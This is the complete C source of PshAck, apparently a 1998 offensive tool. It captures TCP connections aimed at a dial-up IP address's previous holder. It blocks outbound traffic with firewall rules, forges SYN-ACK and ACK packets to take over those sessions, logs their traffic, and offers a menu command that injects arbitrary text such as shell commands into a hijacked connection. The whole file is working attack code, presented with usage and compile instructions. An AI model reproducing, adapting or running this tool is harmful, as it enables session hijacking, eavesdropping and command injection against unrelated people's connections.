/* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.
 *   Author:    Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)
 *   Date:      11/29/98
 *   Greets:    dmess0r,napster,awr,all things w00w00,#203
 *   Version:   0.3
 *
 *   Usage:
 *              1.  Dial up your ISP and start pshack up.
 *              2.  If you are lucky you will see connections you did not
 *                  make :)
 *              3.  Repeat the procedure.
 *   Options:
 *             -i: The interface
 *             -l: Link offset
 *             -s: Your source IP
 *
 *   Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
 *              libpcap and Libnet installed properly.
 *
 *              libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
 *              Libnet  0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
 *
 *   Have fun!
 */

#define __BSD_SOURCE
#include <netinet/udp.h>
#define __FAVOR_BSD
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syslog.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <libnet.h>
#include <pcap.h>
#include <netinet/ip_fw.h>
#include <setjmp.h>

/* #define DEBUGIT */

#ifdef DEBUGIT
#define DEFAULT_INTERFACE "eth1"
#define DEFAULT_OFFSET    14
#else
#define DEFAULT_INTERFACE "ppp0"   /* Default is PPP with no linklayer */
#define DEFAULT_OFFSET    0
#endif

struct conn {
        u_int    type;
        u_long   src,dst,seq,ack;
        u_short  sport,dport;
};

void clean_exit(int);
void time_out(int);
void usage(char *);
void dump_packet( u_char *, int );
int update_db( u_char *, int, struct conn*);
void dump_db (struct conn*);

char errbuf[2000];
sigjmp_buf env;



int
main (int argc, char **argv) {

        struct ip     *ip_hdr;
        struct tcphdr *tcp_hdr;
        struct udphdr *udp_hdr;
        struct ip_fw  fw;
        struct ifreq  ifinfo;
        struct pcap_pkthdr ph;
        pcap_t        *pd;
        u_long        local=0,seq,ack;
        u_short       flags=0;
        u_char        *d_ptr,*packet;
        u_char        *pbuf=malloc(TCP_H+IP_H+500);
        char          iface[17],sendbuf[500];
        int           osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
        struct conn   conn[100];         /* WAY more than enough */
        char arg;       
        fd_set rfds;
        struct timeval tv;
        int retval;
        char user[500];
        
        
        strcpy(iface,DEFAULT_INTERFACE);
        linkoff=DEFAULT_OFFSET;

        while((arg = getopt(argc,argv,"i:s:l:")) != EOF){
            switch(arg) {
                  case 's':
                  local=inet_addr(optarg);
                  break;
                  case 'i':
                  strncpy(iface,optarg,16);
                  break;
                  case 'l':
                  linkoff=atoi(optarg);
                  break;
                  default:
                  usage(argv[0]);
                  break;
             }
        }

        printf("* Blocking till %s comes up *\n",iface);
        
        do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);
        
        printf("* Configuring Raw Output *\n");
        osock=open_raw_sock(IPPROTO_RAW);
        if (osock<0)perror("socket()"),exit(1);
        strcpy(ifinfo.ifr_ifrn.ifrn_name,iface);
        if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
        if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
        if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);
        
        bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);
        printf("* Address: %s\n",host_lookup(local,0));

        printf("* Blocking Outbound on %s *\n",iface);
        sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
        if(sfd<0) perror("socket()"),exit(1);

        bzero(&fw,sizeof(fw));
        strcpy(fw.fw_vianame,iface);
        #ifdef DEBUGIT
        fw.fw_flg=IP_FW_F_ICMP;
        if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
        perror("setsockopt()"),exit(1);
        fw.fw_flg=IP_FW_F_TCP;
        fw.fw_nsp=1;
        fw.fw_pts[0]=666;
        #endif
        if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
        perror("setsockopt()"),exit(1);

        signal(SIGTERM,clean_exit);
        signal(SIGINT,clean_exit);
        signal(SIGALRM,time_out);       

        printf("* Entering Capture Loop *\n\n");
        printf("* Commands [1] Dump databese\n"
               "           [2] Send on connection <n> Ex: 2 1 ls -al\n"
               "           [3] Exit\n\n");
        sigsetjmp(env,1);
        
        FD_ZERO(&rfds);
        FD_SET(0, &rfds);
        tv.tv_sec = 0;
        tv.tv_usec = 0;

        retval = select(1, &rfds, NULL, NULL, &tv);
        
        if (retval) {
           retval=read(1,user,sizeof(user));
           user[retval]=0;
           switch(user[0]) {
             case '1':
             dump_db(conn);
             break;
             case '2':
             i=atoi(&user[2]);
             if (i > dbsize) {
                 printf("* Invalid connection index) *\n");
                 break;
             }
             build_ip(TCP_H,
                      101,
                      0,
                      IP_DF,
                      128,
                      IPPROTO_TCP,
                      local,
                      htonl(conn[i].src),
                      NULL, 0, pbuf);
        
             build_tcp(conn[i].dport,
                       conn[i].sport,
                       conn[i].seq,
                       conn[i].ack,
                       TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
                           pbuf + IP_H);

             do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
             setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
             write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4));
             setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));

             printf("Sent: %s\n",user+4);
             break;
             case '3':
             clean_exit(1);
             break;
             default:
             break;
           }
        }
        alarm(1);
        
        for(;packet=pcap_next(pd,&ph);) {
        
        ip_hdr = (struct ip *)(packet + linkoff);
        
        switch(ip_hdr->ip_p) {
        
        case IPPROTO_TCP:
             tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
             dump_packet(packet,linkoff);
             #ifdef DEBUGIT
             if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
                 ntohs(tcp_hdr->th_dport)==666) {
             #else
             if (ntohl(ip_hdr->ip_src.s_addr) != local) {
             #endif
             newsize=update_db(packet, linkoff, conn);

             if(newsize>dbsize) {
             printf("New Connect:\n");
             dbsize=newsize;}

             if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
                 tcp_hdr->th_flags&TH_ACK)) {
                 datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
                 if(!datalen) datalen++;

                 seq=ntohl(tcp_hdr->th_ack);
                 ack=ntohl(tcp_hdr->th_seq)+datalen;
                 flags=TH_ACK;
                 } else if(tcp_hdr->th_flags&TH_SYN) {
                 seq=get_prand(PRu32);
                 ack=ntohl(tcp_hdr->th_seq)+1;
                 flags=TH_SYN|TH_ACK;
                 }

                 if(flags) {
                 build_ip(TCP_H,
                          101,
                          0,
                          IP_DF,
                          128,
                          IPPROTO_TCP,
                          local,
                          ip_hdr->ip_src.s_addr,
                          NULL, 0, pbuf);
        
                 build_tcp(ntohs(tcp_hdr->th_dport),
                           ntohs(tcp_hdr->th_sport),
                           seq,
                           ack,
                           flags, 31000, 0, NULL, 0, pbuf + IP_H);

                 do_checksum(pbuf, IPPROTO_TCP, TCP_H);
                 setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
                 write_ip(osock, pbuf, TCP_H + IP_H);
                 setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
                 flags=0; }
             }
             break;
        
        case IPPROTO_UDP:
             dump_packet(packet,linkoff);
             break;
        default:
        break;
            }
          }

}


void
dump_packet( u_char *packet, int linkoff ) {

        struct ip     *ip_hdr;
        struct tcphdr *tcp_hdr;
        struct udphdr *udp_hdr;
        u_char        *d_ptr;
        u_int         i;

        ip_hdr = (struct ip *)(packet + linkoff);
        
        switch (ip_hdr->ip_p) {
        
        case IPPROTO_TCP:
        tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
        
        printf("********************\n");
        printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
               "Flags: %c%c%c%c%c%c Data Len: %d\n",
                host_lookup(ip_hdr->ip_src.s_addr,0),
                ntohs(tcp_hdr->th_sport),
                host_lookup(ip_hdr->ip_dst.s_addr,0),
                ntohs(tcp_hdr->th_dport),
                ntohl(tcp_hdr->th_seq),
                ntohl(tcp_hdr->th_ack), 
                (tcp_hdr->th_flags & TH_URG)  ? 'U' : '-',
                (tcp_hdr->th_flags & TH_ACK)  ? 'A' : '-',
                (tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
                (tcp_hdr->th_flags & TH_RST)  ? 'R' : '-',
                (tcp_hdr->th_flags & TH_SYN)  ? 'S' : '-',
                (tcp_hdr->th_flags & TH_FIN)  ? 'F' : '-',
                ntohs(ip_hdr->ip_len)-IP_H-TCP_H);
        
                d_ptr=packet+linkoff+TCP_H+IP_H;

                for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
                   if (d_ptr[i]=='\n')
                      printf("\n");
                   else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
                           printf("%c",d_ptr[i]);
                        else
                           printf (".");

                printf("\n");
                break;

        case IPPROTO_UDP:

        udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr->ip_hl));
        printf("********************\n");
        printf("UDP: %s.%d->%s.%d Data Len: %d\n",
               host_lookup(ip_hdr->ip_src.s_addr,0),
               ntohs(udp_hdr->uh_sport),
               host_lookup(ip_hdr->ip_dst.s_addr,0),
               ntohs(udp_hdr->uh_dport),
               ntohs(ip_hdr->ip_len)-IP_H-UDP_H);

        d_ptr=packet+linkoff+UDP_H+IP_H;
        for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
            if (d_ptr[i]=='\n')
               printf("\n");
            else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
                    printf("%c",d_ptr[i]);
                 else
                    printf(".");
        
        printf("\n");
        break;

        default:
        /* We ignore everything else */
        break;
        }
        
}

void
clean_exit(int val) {

        int sfd,p=0;

        sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
        if (sfd<0) perror("socket()"),exit(1);
        if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
        perror("setsockopt()"),exit(1);
        exit(0);
}


void
usage(char *arg) {
        printf("%s: [options]\n"
               "  -i: The interface\n"
               "  -l: Link offset\n"
               "  -s: Your source IP\n\n",arg);
        exit(0);
}

void
dump_db (struct conn *conn) {

        int i;
        

        for(i=0;conn[i].type;i++)
           if(conn[i].type==IPPROTO_TCP)
           printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
                   i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
                   host_lookup(htonl(conn[i].dst),0), conn[i].dport,
                   conn[i].seq,conn[i].ack);
           else if(conn[i].type==IPPROTO_UDP)
           printf("%d: UDP: %s.%d->%s.%d\n",
                   i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
                   host_lookup(htonl(conn[i].dst),0), conn[i].dport);
          else break;


}


int
update_db( u_char *packet, int linkoff, struct conn *conn) {
        struct ip     *ip_hdr;
        struct tcphdr *tcp_hdr;
        struct udphdr *udp_hdr;
        int i=0;
        ip_hdr = (struct ip *)(packet + linkoff);

        switch(ip_hdr->ip_p) {

        case IPPROTO_TCP:
        tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));

        for(i=0;conn[i].type;i++)
           if(conn[i].type==IPPROTO_TCP)
            if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
             if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
              if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
               if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
                    break;

        if(conn[i].type) {
          conn[i].seq=ntohl(tcp_hdr->th_ack);
          conn[i].ack=ntohl(tcp_hdr->th_seq); }
        else {
          conn[i].type=IPPROTO_TCP;
          conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
          conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
          conn[i].sport=ntohs(tcp_hdr->th_sport);
          conn[i].dport=ntohs(tcp_hdr->th_dport);
          conn[i].seq=ntohl(tcp_hdr->th_ack);
          conn[i].ack=ntohl(tcp_hdr->th_seq); }         

        break;

        case IPPROTO_UDP:
        udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));

        for(i=0;conn[i].type;i++)
          if(conn[i].type==IPPROTO_TCP)
            if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
             if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
               if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
                 if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;

        if(!conn[i].type) {
          conn[i].type=IPPROTO_UDP;
          conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
          conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
          conn[i].sport=ntohs(udp_hdr->uh_sport);
          conn[i].dport=ntohs(udp_hdr->uh_dport); }

        break;
        default:
        /* We Don't care */
        break;
      }
      return i;

}

void
time_out(int blank) {
alarm(0);
siglongjmp(env,1);
}
